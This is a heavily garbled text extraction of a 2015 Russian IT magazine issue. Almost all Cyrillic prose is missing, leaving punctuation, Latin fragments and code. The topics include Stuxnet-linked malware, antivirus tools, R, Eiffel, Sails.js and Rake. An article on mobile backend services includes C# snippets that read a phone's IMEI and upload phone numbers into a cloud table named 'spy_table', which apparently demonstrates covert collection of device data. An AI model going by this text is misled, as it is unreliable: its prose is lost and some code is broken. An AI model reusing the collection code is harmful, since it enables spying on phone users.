Attack Linked to U. S. and British
Domain E Kalaye Electric Co.
, Java PowerShell
Intelligence).
,
. ,
, Foolad Technic Engineering Co.
.
NSA/GCHQ State sponsored malware, ,
, .
,
Stuxnet .
.
.
,
,
Belgacom GCHQ
Stuxnet
,
. , ,
. , (,
.
) :). , ,
.
. ,
.
.
, ! , ,
(fingerprint) , IP-,
, .
, email .
Stuxnet.
,
,
NSA/GCHQ. ,
-
fingerprint,
.
. Behpajooh Co. Elec & Comp. Engineering ,
, -
Stuxnet ,
, -.
.
Belgacom. , Stuxnet Symantec W32.
, -
Stuxnet Dossier ver. 1.4 2011 . ,
(Jean-Jacques Quisquater), , ,
. The Intercept Regin
Domain A, B, C, D, E?
NSA/GCHQ.
.
76
Malware
01 /192/ 2015
2014
][
(, )
- . ,
, .
:
:). , , . ! ,
.
,
][. ,
Node.
js, Erlang,
,
][,
,
Malware,
,
,
-
Deeonis,
-
Malware
,
++ , ,
,
Malware,
lozovsky@glc.ru
,
X-mobile, ,
Plan 9
:)
01 /192/ 2015
77
2014
, ,
WIN, MAC
( INTERNET SECURITY, )
. Linux Mint
,
Windows 7 x64,
,
.
,
PeStudio, . ,
, omodo
Nod32.
(Kaspersky),
,
, .
, ( ) - , .
security-, , .
,
-
. : ,
, , , :).
-
, , . Dr.Web, ESET, Essential, Avast .
- , -
(
). , ,
VirusTotal, - , . , ,
, ,
. KIS,
. ,
. ,
,
- .
,
, VirtualBox,
Kali, IDA, OllyDbg + ImmunityDebugger, VS, WinHex, PEiD,
ProcessExplorer, :).
KIS Dr.Web.
, ,
. 1998 :).
,
, ,
.
ArchLinux,
,
docker/lxc. Windows
, . - ,
, VirtualBox.
Windows, :
.
,
. , ,
. :).
Deeonis
,
Windows-,
Microsoft Security
Essentials. ,
. ,
Windows
MS,
MS.
:).
Security Essentials
, .
Microsoft ,
API.
78
Malware
01 /192/ 2015
:
. , ?
Deeonis
Android Dr.Web:
APK ,
SMS , .
Dr.Web. ,
, .
,
, , , ,
.
,
Windows Phone.
. Android (
1.5),
,
, -
- .
, .
,
,
Motorola Defy
SIM-
AOSP
Nexus 4. //
Avast. ,
. iOS, , .
(, , IDA
)
, , VirtualBox, Kali, IDA, OllyDbg +
ImmunityDebugger, VS, WinHex, PEiD, ProcessExplorer,
:). ? , ,
( , ...) . VirtualBox . Kali Linux must have,
, ,
, , . IDA + Olly + Immunity + PEiD
, , , . VS IDE
. WinHex , , ,
. ProcessExplorer ,
, .
01 /192/ 2015
79
2014
, , ( ) . , -
2000-,
, ,
, ,
, Norton Ghost
.
,
100% . ,
15
( 40 , - , :)).
,
,
. -
Debian,
OS X,
.
- , -
. , /sensitive
.
:
Dropbox;
Google Drive;
Amazon Glacier/S3;
Digital Ocean;
GitHub.
. , DB
fast-read ,
. Google
Drive , , ,
review. S3
,
Glacier. ,
,
,
,
.
, ,
. ,
-
, private
network SSL ,
bash-.
,
c
docker-,
, , (, , ,
Flash
,
). ,
backup- Time Machine. , :).
, , , :
?
!
,
. ,
.
ASAP
endpoint .
Deeonis
, .
backup-,
Comodo
Comodo Backup (
).
. ,
,
.
*nix . , , ,
iptables ,
. SELinux, ,
. docker/lxc, docker Chromium Tor.
. .
, , Hardened Gentoo ,
, , .
NoScript
Mozila. ,
.
80
Malware
01 /192/ 2015
/ / : ,
,
//,
,
.
(, , )
.
KIS
.
Avast.
: KIS. , ,
:),
. ( Core i3 Ivy
Bridge, 4 RAM, SSD),
.
Dr.Web Light.
Avast, .
Avast (, ,
:)) ,
.
Trend Micro,
, .
:).
,
, , :). ,
- .
Avast
omodo. Avast
. Comodo ,
,
.
Comodo,
. , ...
Deeonis
Windows Ubuntu.
, Nod32.
, , .
Dr.Web CureIt.
Ubuntu. 99% , , Wine.
01 /192/ 2015
2014
,
MALWARE
, . , , , . ,
IT, , .
, , , ,
USB-. ,
, .
, 50% malware ,
, , . : ,
temp, 90 malware . , , . ?
. ,
IT.
, ,
.
. , malware,
, ,
. , , . Kaspersky
Dr.Web .
, . Avast Avira,
.
. - Dr.Web :
, , . . , ,
. , 200 , .
Kaspersky . Kaspersky
, , . ,
- -
ESET,
, , . ,
.
,
, ,
, .
Avast , , ,
, .
Comodo , ,
.
sandbox,
.
sandbox , .
81
82
, R. R .
-
,
( ). , Shiny (shiny.rstudio.
com), - R.
, R , .
. -
, R
, , ,
:).
R,
(
), .
01 /192/ 2015
vitaly@betamind.ru
, ,
R , , . ,
, ? help,
.
, ? _ .
,
. ,
, ,
.
R ,
,
R , . , . ,
? , 10.
.
:
;
();
;
;
.
R , .
R, , , ,
L. , 10L.
:
> x <- 1
> typeof(x)
[1] "double"
> y <- 1L
> typeof(y)
[1] "integer"
, ,
: ,
, . ,
REPL (Read Evaluate Print Loop).
print
- .
, [1] 10,
R, , ( ) .
1
. ,
,
,
.
c:
>, .
Inf .
<-. :
> x <- 10
> x
[1] 10
> print(x)
[1] 10
83
01 /192/ 2015
R
:
> x
> x
[1]
> y
> y
[1]
.
:
84
,
.
matrix:
> dim(m)
[1] 2 3
> attributes(m)
$dim
[1] 2 3
, (, )
: , , C Java,
, , , ,
FORTRAN R. , ,
:
01 /192/ 2015
x
y
1
11
2
12
3
13
, , ,
.
. , , . ,
.
, , ,
R :
> table(x)
x
no yes
3
2
(DATA FRAME)
R.
, . ,
.
, (). -
CSV-
read.csv,
.
, :
> names(x)
[1] "a" "b" "or"
> row.names(x)
[1] "1" "2" "3" "4"
,
, ,
,
.
, , :
01 /192/ 2015
85
$b
[1] 1 2 3
> typeof(x)
[1] "list"
> y <- l[[2]]
> typeof(y)
[1] "integer"
> y
[1] 1 2 3
R.
, [[]]
, []
. $ [[]] .
, $ .
,
, : x[[1]][[3]], ,
c. ,
x[[c(1, 3)]].
( ).
, R ,
.
,
, .
. , R ,
-:
R
.
Haskell, if , ,
, . R
:
,
R .
?
:
f <- function(<args>) {
...
}
, R
(first-class
object). ,
. ()
:
f <- function(g) {
function(x) g(g(x))
}
y <- f(function(x) x * x)(5)
f g ,
x
g.
, (
g ) 5.
, 5
.
R
(lazy), , :
R
.
86
01 /192/ 2015
MBAAS
( )
, .
backend as a service (BaaS)
,
BaaS Mobile BaaS
(MBaaS). MBaaS-
,
.
, ,
, .
MBaaS, .
, , , Angry
Birds, :).
. , Unity3D/C#, Windows, Android iOS. ,
-.
.
?
MBAAS
. ,
WPA
2011- , 28 .
.
Wikileaks ,
DDoS-. .
?
; , , , GPS. -
Unity3D
,
(Android, iOS, Windows Phone).
, :
#if UNITY_ANDROID
AndroidJavaObject TM = new AndroidJavaObject
("android.telephony.TelephonyManager");
string IMEI = TM.Call<string>("getDeviceId");
:
My Life Graphic@shutterstock.com
infiltration.ru
MBaaS- , :
1. MBaaS-.
2. ,
, .
3. .
4. , .
5. API (
) .
6. MBaaS , .
01 /192/ 2015
87
MBaaS
(delegate(ActionUserSignin action) {
if(action.getCode() == StatusCodes.SUCCESS) {
//
// ...
} });
READ_PHONE_STATE, .
MBaaS-, , ,
:
, ,
.
GameSparks.com
The #1 Backend-as-a-Service platform
for games, . ,
, SDK unitypackage
.
: API Key API Secret
( ),
. Unity3D GameSparks.
: iOS, Android,
JavaScript, Marmalade, Cocos2d, Flash . Unity3D
SDK, , , : , , ,
. Unity SDK 2 GameSparks
,
.
NGUI . ,
, NoSQL,
, , .
GameSparks : . , MBaaS-
.
GameSparks
20 , 20
20 API .
, .
WARNING
,
,
,
,
- .
,
MBaaS-,
app.signin("kumasun3157","password").sync
//
Dictionary<string,object> data = new
Dictionary<string, object>();
data.Add("phone_num", "123-45-67");
//
.
string type = "phone";
string name = "lox";
ActionDatastoreCreate action2 = app.getUser()
.getDatastore().create(type, name, data);
action2.sync(delegate(ActionDatastoreCreate a) {
if(a.getCode() == StatusCodes.SUCCESS) {
//
!
} });
( )
,
, . , : 500 API
push- .
Kii.com
, .
- . , , (
), .
SDK , , , , . SDK DLL, JSON-.
Assets ,
.
Application ID, Application Key Site
( ).
.
Kumakore.com
SDK Unity, Android, iOS, , , REST API. ,
SDK GitHub . Unity3D
: SDK unitypackage,
. . Hello world . (
), .
Kumakore , ,
:
Kumakore ,
, .
Global Object, . app
getUser(), getDatastore()
:
INFO
,
, ,
Droid Watcher
Android Spy Application
GitHub.
88
01 /192/ 2015
kiiObj["money"] = 500;
kiiObj.Save((KiiObject obj, Exception e) =>
{
if (e != null)
{
//
}
else
{
//
!
}
});
, JavaScript. , ( , ),
:
. 1. ,
Yahoo
3- . Gamesnet.Yahoo.net
PlayerIO.com, Yahoo
, ,
150 . Yahoo Games Network,
,
- PlayerIO.
Android Java, iOS/Objective-C, Unity3D/.NET,
ActionScript. , ,
,
ActionScript, , , . Visual Studio 2010.
. Yahoo NoSQL-
BigDB. Yahoo
. BigDB
(, xtable).
,
,
.
SDK Unity3D
, DLL
PlayerIOUnity3DClient.dll.
PlayerIOClient.PlayerIO.Connect(
"test-emwr9sy8ohefq9ce7mbsb7",
"public",
"user-id",
null,
null,
null,
delegate(Client client) {
//
},
delegate(PlayerIOError error) {
//
Debug.Log(error.Message);
});
Game ID ( "user-id").
.
client.BigDB.CreateObject("xtable",
"user-id", obj_db,
delegate (DatabaseObject result)
{ result.Save(null); });
Yahoo.
,
. ,
Yahoo.
Visual Studio, DLL,
. , , .
2- . Api.Shephertz.com (App42)
. 2. ,
App42
- : ,
01 /192/ 2015
89
MBaaS
. :
,
.
App42 Cloud API , .
: (, ,
, , , , ,
) ( , ,
, -,
, ).
.
App42
JSON- SDK,
SimpleJSON.
,
-
.
. 3. ,
Parse
ServiceAPI cloudAPI;
StorageService storageService;
try
{
//
:
cloudAPI = new ServiceAPI
("27bba692c71f3ece89767", "05747459e61b39");
//
:
storageService = cloudAPI.BuildStorageService();
}
catch(Exception)
{ //
storageService = null;
}
try {
JSONClass jsonobj = new JSONClass();
jsonobj.Add("phone_num", "123-45-67");
jsonobj.Add("money", 500);
//
spy_table
spy_info:
storageService.InsertJSONDocument
("spy_table","spy_info", jsonobj);
//
!
}
catch(App42Exception )
{
//
}
Java.
API , push-, 1
1
1- . Parse.com
,
, .
2011 ,
, Parse 85
, . , Dropbox, Google Yahoo!
Parse.com .
, Parse,
Keys . Unity3D,
Parse.Unity.dll. , Parse Initializer Application ID .NET Key.
,
Parse:
WWW
MBaaS:
appcelerator.com
(iOS, Android, Titanium,
REST API);
kumulos.com
(iOS, Android);
kinvey.com
(iOS, Android, HTML5,
REST API)
. , , QuickBlox,
Unity3D, -
Amazon S3. ,
Asset bundles Pro Unity.
, Unity3D,
REST
API. , , Google Cloud, Amazon Cognito
iOS, Android Fire.
gamedev Photon (exitgames.com),
Photon Cloud , - PC-.
3D-
,
. ,
.
, ,
.
Photon, .
90
01 /192/ 2015
,
BOEING
EIFFEL
,
, Eiffel.
.
, ,
. -
Eiffel, 1985 .
( ), ,
, ,
( -).
ISE
(Interactive Software Engineering), , (1993 ) Eiffel Software.
500 -
. ,
. ,
. / : Python
travellight@shutterstock.com
yurembo ,
yazevsoft@gmail.com
01 /192/ 2015
Windows,
. Mac OS UNIX.
, . ? Java? Mono? . Eiffel. .
91
92
, , . ,
,
, ,
: Pascal, Ada, Oberon. ! . ,
,
, , Hello, World. Eiffel ,
. . (
) , -. , (client), -
(supplier), ,
. , ,
, , , .
,
, , ,
, ,
. . ,
EiffelStudio . ,
. .
.
. ,
()
: .
EiffelStudio
AutoTest.
,
01 /192/ 2015
1999 ,
. .
.
, , . AutoTest
, , , .
. Eiffel,
. car nullptr,
( ) car->drive();. ,
car nullptr .
, ,
. Void
Safety.
, C/C++, C# Java,
, .
, ,
- , .
Eiffel ! SCOOP (Simple Concurrent
Object-Oriented Programming) Eiffel
, .
, EiffelStudio
. , ( UML-),
, Eiffel-, -
01 /192/ 2015
93
, , ,
.
Eiffel, . 12 ,
, . EiffelBase, . ,
, Eiffel: . EiffelVision 2 -
, , -
: Windows, UNIX, Linux, VMS .
Windows.
WEL (Windows Eiffel Library) Win32 API ( ) , : , ,
, Win-,
. EiffelCOM , Microsoft (
). - EiffelNet
. EiffelTime . EiffelStore
ODBC, :
Oracle, SQL, Ingres, Sysbase. EiffelThread ,
Windows NT, UNIX
x86/64, SGI Cray. Eiffel2Java
, Eiffel, Java-, , .
EiffelWeb Eiffel
HTML-, , CGI. EiffelLex EiffelParse
.
, .
,
! , Eiffel Software, ,
Open Source.
EIFFELSTUDIO
EiffelStudio Eiffel. : EiffelStudio Enterprise Evolution Edition
GPL.
,
.
EiffelStudio . ...
EiffelStudio Xcode
, , .
Apple Downloads for Apple Developers (https://
developer.apple.com/downloads/index.action,
, Apple ID), , , Command Line Tools (OS X 10.9) for
Xcode,
Late December 2014.
.
.
,
Xcode, ; ,
EiffelStudio.
94
X11. ,
XQuartz, Apple. :
Eiffel IDE,
XTerm, . XQuartz xquartz.macosforge.org.
. 2.7.7.
MacPorts, UNIX- OS X.
EiffelStudio. MacPorts,
: https://distfiles.
macports.org/MacPorts/MacPorts-2.3.1-10.9-Mavericks.pkg.
,
- . .
, Eiffel. XTerm : sudo port install
eiffelstudio. ,
.
,
, .
,
, . ,
XTerm bash ( ),
. ,
XTerm, , : cat >> ~/.bash_prole. :
01 /192/ 2015
note
description : "consoleproject1 application
root class"
date
: "$Date$"
revision
: "$Revision$"
export ISE_PLATFORM=macosx-x86-64
export ISE_EIFFEL=/Applications/MacPorts/Eiffel_13.11
export GOBO=$ISE_EIFFEL/library/gobo/svn
export PATH=$PATH:$ISE_EIFFEL/studio/spec/
$ISE_PLATFORM/bin:$GOBO/../spec/$ISE_PLATFORM/bin
class
, , <Ctrl
+ D> . ,
bash, : source
~/.bash_prole.
, !
EiffelStudio, estudio.
, , ! , ,
. - .
APPLICATION
inherit
ARGUMENTS
create
make
EIFFELSTUDIO
, EiffelStudio .
,
.
.
.
, . Basic
application (no graphics library included) , Graphics application, multiplatform, with EiffelVision 2 , .
,
Create.
, . EiffelStudio
, , Compile Project,
OK. ,
.
, OK, EiffelStudio
. Eiffel- (
Groups APPLICATION). :
make
-- Run application.
do
--| Add your code here
print ("Hello Eiffel World!%N")
end
end
. .
note , , ,
. class . Eiffel
, inherit . create
, , ,
. feature .
( NONE)
. , NONE private
C++, .
: ANY public ( ) CHILD protected (
, ).
( inherit). feature
make (). do,
end. , Eiffel ,
.
print, .
(--).
, , Project
01 /192/ 2015
95
Finalize. , C- .
,
Hello Eiffel World!.
*.e.
EiffelStudio Application
Wizard
,
. (,
application.e) input.rtf (OS
txt) .
feature :
input_le: PLAIN_TEXT_FILE
output_le: PLAIN_TEXT_FILE
:
, var. PLAIN_TEXT_FILE
, ASCII-.
, :
, EiffelVision, EV_APPLICATION.
, ,
(
GTK),
.
EV_APPLICATION , EV_TIMEOUT ( ) ; , EV_COLOR
. first_window MAIN_WINDOW.
make_and_launch default_create, EV_
APPLICATION, prepare ( MAIN_WINDOW), ,
launch ,
.
from
input_le.read_character
until
input_le.exhausted
loop
output_le.put (input_le.last_character)
input_le.read_character
end
from .
read_character last_
character input_file
. until . , exhausted ,
, (
), , loop.
.
close :
input_le.close
output_le.close
, .
, ,
, .
EiffelStudio Graphic application,
multi-platform, with EiffelVision 2. , ,
, :
, .
, ,
.
Eiffel
(C-) : ,
, , ; ,
; , , ;
.
, .
,
(. . - , ).
,
Eiffel. ,
! ,
. , , .
,
, . Eiffel
, Eiffel_Examples : -.
Eiffel ,
Delphi, C#, Ruby . , ,
, .
, C
,
, , C
,
.
01 /192/ 2015
Kostyantyn Ivanyshen@shutterstock.com
96
aka Spider_NET
iantonov.me
iantonov.me
:
JavaScript.
, ,
JS-
. (
,
),
.
Sails.js,
Node.js , .
SAILS.JS MVC-
ode.js ,
, ,
JavaScript .
RoR, Yii ASP .NET MVC. JavaScript
,
.
-,
,
Sails.js.
Sails.js Derby,
Meteor, Rendr, Geddy Tower. ,
Derby. ,
.
INFO
RoR, Sails.js
.
Derby
,
.
01 /192/ 2015
Derby,
, GitHub Sails.
js. ,
RoR , . ,
( . . . .
) Sails.js
,
,
.
SAILS.JS
97
1.
LAYOUT.EJS
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title><%- title %></title>
<link rel="stylesheet"
href="/styles/style.css">
</head>
<body ng-app="todoapp">
<%- body %>
</body>
<script src="//cdnjs.cloudare.com/ajax/
libs data-main="/js/main.js">
</html>
Sails.js
. , ,
RESTful API Sails.js
. ,
API
(CRUD,
, ) .
,
. ,
Sails.js.
Sails.
js ,
(sailsjs.org).
,
.
, Sails.js
MVC-.
(RoR, Yii, CodeIgniter, ASP .NET MVC)
Sails.js
,
,
. MVC : models, views, controllers
JavaScript- .
Sails.js
-, .
.
, socket.io. , Sails.
js- . backend Sails.js,
! frontend AngularJS.
Node.js,
, .
RequireJS.
,
.
.
!
? !
,
. ?
? , .
window.name = 'NG_DEFER_BOOTSTRAP!';
. Node.
.
js, NPM Sails.js. Sails.js require.cong({
'baseUrl': '/js',
, UNIX-like (Linux,
'paths': {
OS X, BSD). Windows
/.
'angular': '//ajax.googleapis.com/ajax/
libs/angularjs/1.2.16/angular'
,
, },
'shim': {
.
.
'angular': {
,
'exports': 'angular'
Linux-,
Sails.js }
,
}
.
DigitalOcean. DO });
Sails.js
ORM
require([
Ubuntu Node.js, Waterline. ,
'angular',
'app'
.
], function (angular, app) {
. .
angular.element(document.getElementsByTagName
('html')[0]);
,
angular.element().ready(function() {
: MySQL, PostgreSQL, Redis,
angular.resumeBootstrap([app.name]);
Sails.js MongoDB, });
sudo npm -g install sails.
});
.
,
.
2.
REQUIREJS
98
01 /192/ 2015
3.
ANGULAR
dene(function(require){
var angular = require('angular'),
Controllers = angular.
module('controllers', []);
Controllers.
controller('TodoCtrl',
require('controllers/TodoCtrl'));
return Controllers;
})
Sails.js
, : goo.gl/lVjEYG.
BitBucket, . ,
.
, : sails new
todo.
. .
,
MVC ,
;), assets.
,
. CSS/HTML/
JS/ .
, sails lift
( 1337). ,
.
REQUIREJS
CDN, .
, CDN ,
Angular
Require. ,
.
RequireJS.
,
, . RJS . :
.
OK, RJS. ,
.
-. Sails.js
, Layout (). (
- ASP .NET MVC) , .
Sails.js - , EJS.
, -
01 /192/ 2015
.
views/layout.
ejs,
1.
, <%-%>.
. title body.
body
require.
js CDN CloudFlare.
data-main script.
(main.js),
.
AngularJS-,
body. ng-app. AngularJS
,
(
. . .).
REQUIREJS
99
4.
TODOAPP
dene([
'angular',
'controllers'
], function (angular) {
app = angular.module('todoapp',
['controllers']);
return app;
});
.
(
),
.
: sails generate controller
welcome.
WelcomeController.js api/
controllers.
module.
exports:
5.
TASK
attributes: {
"title": {
"type": "string",
"required": true
},
"completed": {
"type": "boolean",
"defaultsTo": false
}
main.js assets/js.
,
,
AngularJS.
2.
CDN,
path. shim ( ),
AMD- ( ) .
AngularJS, .
6.
, Angular.
, , (
angular.module) require , RequireJS.
controllers.js assets/js
RJS- 3 (, , ,
:). . .).
Angular angular.module.
.
TodoCtrl,
assets/js/controllers. . - . !
AngularJS RJS- ( app.js assets/js), todoapp .
4.
, . ,
Sails.js
(index).
welcome (. view).
view ,
.
title,
.
, .
routing.js config
TODOCTRL
$scope.todos = [];
$http.get('/task/nd').success(function(data) {
for (var i = 0; i < data.length; i++) {
data[i].index = i;
}
$scope.todos = data;
});
//
$scope.addTodo = function() {
if (!$scope.newTodo.length) {
return;
}
$http.get('/task/create?title=' + $scope.newTodo).
success(function(data) {
$scope.todos.push({
title: $scope.newTodo,
completed: false
});
$scope.newTodo = '';
});
};
100
01 /192/ 2015
Welcome
API
, API CRUD.
API .
: title (string) completed (boolean). ,
, ( ).
.
. (email, url, post code
).
, API.
:
your_host:1337/task/create?title=cc&completed=false
your_host:1337/task/create?title=cc2&completed=false
'/': {
controller: 'WelcomeController',
action: 'index'
}
"/",
. welcome.ejs
views .
,
.
(sails lift).
, API
,
,
API. task .
sails generate api task. -
01 /192/ 2015
101
JSON-. , , .
,
.
,
:
your_host:1337/task/nd
,
,
API. . , . todoList.ejs views
.
AngularJS. :
xakep.ru/anglurjs/ ( , .
. .). .
todos.
, c (, , ).
assets/js/
controllers/TodoCtrl.js. 6. , . $http API.
,
find.
JSON. Get ,
.
. $scope.
.
addTodo(),
, .
.
Get. , Post.
.
(, ) , $http. ,
put, delete.
, .
. !
, !
.
, .
.
,
. , .
Sails.js
, . , -
JavaScript. !
CoffeeScript -: , .
. CS,
Sails.js.
:
coffee-script: npm install coffee-script --save
(app.js) :
require('coffee-script/register');
API (, )
--coffee. , sails generate api mymodel - coffee.
Sails.js ( )
. , , .
.
goo.gl/YZaSX5
Sails.js.
Sails.js.
goo.gl/iQq7Ik Sails.js
+ Reactive.js + Backbone.js.
-.
goo.gl/AlKm99 Passport
Sails.js. Sails.js, .
goo.gl/D9Zv4n Sails.js.
goo.gl/BttFnr ,
Sails.js. .
goo.gl/2PZh2r ORM Waterline.
https://bitbucket.org/iantonov/todo/
.
goo.gl/tLpBOZ AngularJS.
102
ovchinnikov.cc
RAKE
01 /192/ 2015
.
IDE .
:
, - ,
,
.
Continuous Integration , ,
- (
- ).
batch- shell-,
-
.
, ,
.
,
, .
, ,
XML, , , ,
.
, , XML
. ,
(,
/ - ),
, (
, ,
), , , , , . ,
, ?
. Rake -
Ruby on Rails Ruby-,
, .NET, .
Rake , Ruby. , .
, Make, Ant MSBuild, .
Rake:
01 /192/ 2015
103
DSL Ruby
XML ;
;
;
,
;
.
Rake Ruby.
, 1.9, , . Ruby 1.8
Rake, ,
RubyGems,
Rake
Rakefile.
(tasks). , , .
RAKE
Thor
Thor (whatisthor.com) (Yehuda Katz)
Ruby. Ruby-
Rake, , ,
Ruby, Rake DSL . ,
.
Grunt
Grunt (gruntjs.com) - JavaScript, a . -.
Paver
Rake :
.
, . task.
( , ). ,
(). file.
, , Rake.
rake task_name
Java
, Ant Maven, XML-. Gradle (www.gradle.org)
Groovy DSL.
Gradle
>rake
rake aborted!
Don't know how to build task 'default'
rake-.
Rake Ruby-
#,
desc.
, rake -T,
. , -
rake -T
Rake (namespaces)
. , , Ruby on Rails, rake db:migrate,
db , migrate , . namespace.
namespace :namespace_name do
# tasks
end
RAKE-
Rake Rakefile.
, -
104
01 /192/ 2015
Rake-
:
(Clean) .
exe- out.
(Build) , . MSBuild
proj- .
(Package) exe out,
Read Me.
.NET- RAKE
, Rake
Ruby/Rails-.
. Hello world C#. Rake
.NET- ,
/
/ , XML NAnt MSBuild
.
,
MSBuild. , ,
.
default , , ,
rake ,
clean, build package. ,
Rakefile, Ruby-, require , .
using System;
public class HelloWorld
{
static void Main()
{
char hello="hello";
Console.WriteLine(hello);
Console.ReadLine();
}
}
WWW
Rake
GitHub:
https://github.com/
jimweirich/rake
Rake:
docs.seattlerb.org/rake/
Albacore:
https://github.com/
Albacore/albacore
, Rake
.NET-.
Albacore, DSL Rake
,
Microsoft.
require "albacore"
desc "Compile project with MSBuild using Albacore"
build :alba_build do |b|
b.le = "#{proj_root}/hello.proj"
end
<Project xmlns="http://schemas.microsoft.com/
developer/msbuild/2003">
<ItemGroup>
<Compile Include="hello.cs" />
</ItemGroup>
<Target Name="Build">
<Csc Sources="@(Compile)"/>
</Target>
</Project>
, .
Albacore
Wiki GitHub.
Rake- , , .
require "leutils"
task :default => [:clean, :build, :pkg]
msbuild = "#{ENV['WINDIR']}\\Microsoft.NET\\Frame
work\\v3.5\\msbuild.exe"
proj_root = File.dirname(__FILE__)
out_dir = "#{proj_root}/out"
ALBACORE
DVD.XAKEP.RU
.
Rake , .
Ruby ,
.NET-.
, Ruby
. ,
legacy-, ,
( , COM- ) .
420 !
: ?
-, . .
-, .
, . -, (,
): , .
http://shop.glc.ru
6 ( 5%) 2394 .
12 ( 15%) 4284 .
106
01 /192/ 2015
PARALLELS
( ,
). IT-
.
( ,
, ). Parallels
, !
1
lozovsky@glc.ru
, ,
Linux .
,
.
int what_sz = 3;
char what[] = "\xff\x14\x85";
void *
abcdefh(void)
{
void *tmp;
uint8_t **ptr;
struct idtr idtr;
PARALLELS
1
. ,
,
( 1/4 ),
( 1). , , (
2). .
: .
( , ).
1. . , , ,
. .
.
2. . ,
, , .
,
.
() , .
: , Hello, fork() . .
, libc / ,
.
,
,
.
HelloHello.
4
. ,
107
01 /192/ 2015
00 00 00 00 00 00 00 00 00 04 00 00 00 65 01 00 00 00
03 00 00 00 65 01 00 00 00 04 00 00 00 66 01 00 00 00
67 01 00 00 00
, .
: ?
HEX View:
04
09
69
69
68
00
00
00
6C
6E
01
02
00
46
65
65
00
00
TEXT View:
......Hello World!..ConcatenatedStringExample..First
string part..Second string part.........
(.............................................e.......
e........f....g....
00 0C 00 54 65 73 74 46 69 6C 65 4E 61 6D 65
69 72 73 74 4C 69 6E 65 0E 00 54 65 73 74 46
48 61 6E 64 6C 65 0A 00 53 65 63 6F 6E 64 4C
01 00 00 00 09 03 00 00 00 00 00 05 00 00 00
00 00 69 01 00 00 00 01 00 00 00 6B 01 00 00
00 00 6B 01 00 00 00 04 00 00 00 6A 01 00 00 00
HEX View:
07
00
6E
66
00
00
00
00
00
00
00
TEXT View:
......TestFileName..FirstLine..TestFileHandle..SecondLine
...............h....i........k........k........j....
HEX View:
04
19
6E
74
20
00
00
00
00
67
72
73
00
00
IT-
00
43
45
69
74
00
00
00 0C 00 48 65 6C 6C 6F 20 57 6F 72 6C 64 21
6F 6E 63 61 74 65 6E 61 74 65 64 53 74 72 69
78 61 6D 70 6C 65 11 00 46 69 72 73 74 20 73
6E 67 20 70 61 72 74 12 00 53 65 63 6F 6E 64
72 69 6E 67 20 70 61 72 74 01 00 00 00 05 02
28 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
61
73
6F
05
00
00
65
65
00
00
00
73
20
6D
05
00
00
02
02
02
0B
70
04
20
00
00
00
00
00
00
00
65
00
02
00
00
00
00
00
00
44
72
74
00
00
00
00
00
00
00
72
73
68
48
22
00
08
06
01
6C
65
6B
65
46
00
00
00
00
00
01
61
79
20
02
00
00
00
00
00
00
6D
0A
04
00
00
00
00
00
00
00
77
00
00
00
00
00
65
65
68
00
6F
47
54
00
00
00
02
02
02
02
72
72
65
09
00
00
00
00
00
00
6C
65
6D
07
00
00
00
00
00
00
64
65
70
00
00
00
00
00
00
00
21
74
05
00
00
00
03
04
69
6A
09
69
00
00
00
00
00
00
01
01
TEXT View:
- ,
, . lozovsky@glc.ru
. , , . , , , .
. ,
fork()
,
,
.
.
,
, .
:
fork()
pid. ,
-
00
4B
67
72
00
00
00
00
00
00
00
.
,
.
, ,
.
5
. 32 ,
. ,
16 ,
'a'.
, ,
RISC ,
, .
4 , 8.
. 64
8 , 32 .
MSVC
GCC, 64
, 32.
6
, , , "seq_lock".
7
: 24.
++
108
01 /192/ 2015
qua ,
qualab@gmail.com
,
!
109
, , !
01 /192/ 2015
. ,
.
3,4999990123 3,5
, ,
,
.
,
,
.
,
. ,
,
. , real Pascal ,
,
.
, , , .
,
N ( , N = 2), (
). :
,
, . , , , ,
, . , ,
,
, .
, , . , ,
, .
, , -,
, , ,
, . .
, ,
IEEE 754.
single-precision ( )
double-precision ( ) floating-point ( ).
:
32 , , , 64 .
2, , :
x = m * 2e,
x = m * Ne,
:
m e , .
, , 1 <= |m|
< N, ,
, ,
.
, , , . ,
N (
, N = 2),
23
11
52
, IEEE 7542008
, . C/
C++, float double, long double,
Microsoft,
Visual C++ double.
, ,
.
, , float double.
110
++
0,
1 .
, ,
, ,
.
, , 1,
, .
.
, , : 223 + 1 =
= 16 777 216; ,
. ,
, ,
123 456,78 , -,
, . ,
1 234 567 890,
32- ,
! , , C++
double.
15 : 252+1 = 9 007 199 254 740 992
32- ,
64- (19 ), , , . ,
.
. ,
2,
.
,
,
( biased exponent ).
, 127, 1023.
,
. !
01 /192/ 2015
, . 640 (= 512 + 128)
:
0;
, 512 , , 640/512 = 512/512 + 128/512
1 + 1/4, 1,01, ,
0100000 00000000 00000000;
1 + 1/4 640, , 9,
29 = 512, , , ,
127, 127 + 9 = 128 + 8, : 10001000.
,
, 1023 + 9 = 1024 + 8,
: 100 00001000. ,
, .
: :
(INF ), , -- (NaN not-anumber).
,
, 1, ,
,
: ,
.
, /++ .
, ,
.
10308,
1038.
1019, 64- , ,
- ,
.
. 23
8- . , 15 , , ,
6 , , 9 . ,
.
,
, ,
.
111
, , !
01 /192/ 2015
,
,
!
, . -, ,
C/C++, C# Python,
Decimal,
.
, C++,
, ? ,
: ,
, Decimal .
.
,
, , 64 .
,
18
.
64- . ,
.
, 18 ,
.
!
. , , n f,
x = n + f * 1018,
n, f
,
: , ,
,
, , .
. -,
, .
,
. :
x = a + b * 1018,
y = c + d * 1018,
z = x + y = e + f * 1018,
a, c, e: int64_t;
b, d ,f: uint64_t;
0 <= b, d, f < 1018,
z = (a + b * 1018) + (c + d * 1018)
e = a + c + [b * 1018 + d * 1018]
f = {b * 1018 + d * 1018} * 1018
64- , , .
class decimal
{
...
private:
int64_t m_integral;
uint64_t m_fractional;
};
, , ,
1018 : f = (x n) * 1018.
, ,
1,67 : n = 2 f = 0,33 * 1018. ,
.
[n] ,
{n} . ,
. 1018 64- uint64_t (
112
++
), , , :
e = a + c + (b + d) div 1018,
f = (b + d) mod 1018.
, a c. ,
, b d 1018, , (b + d) < 2 * 1018, ,
,
:
e = a + c;
f = b + d;
if (f >= 1018) f -= 1018, ++e;
e .
- ,
. .
e = a - c;
if (b >= d) f = b - d;
else f = (1018 - d) + b, --e;
. .
.
, , 1018, Q-,
, 109.
1018 , , 64- ,
C++.
? , :
a = sa * a1 - a2 * 10-9; b = b1 - b2 * 10-9;
c = sc * c1 - c2 * 10-9; d = d1 - d2 * 10-9;
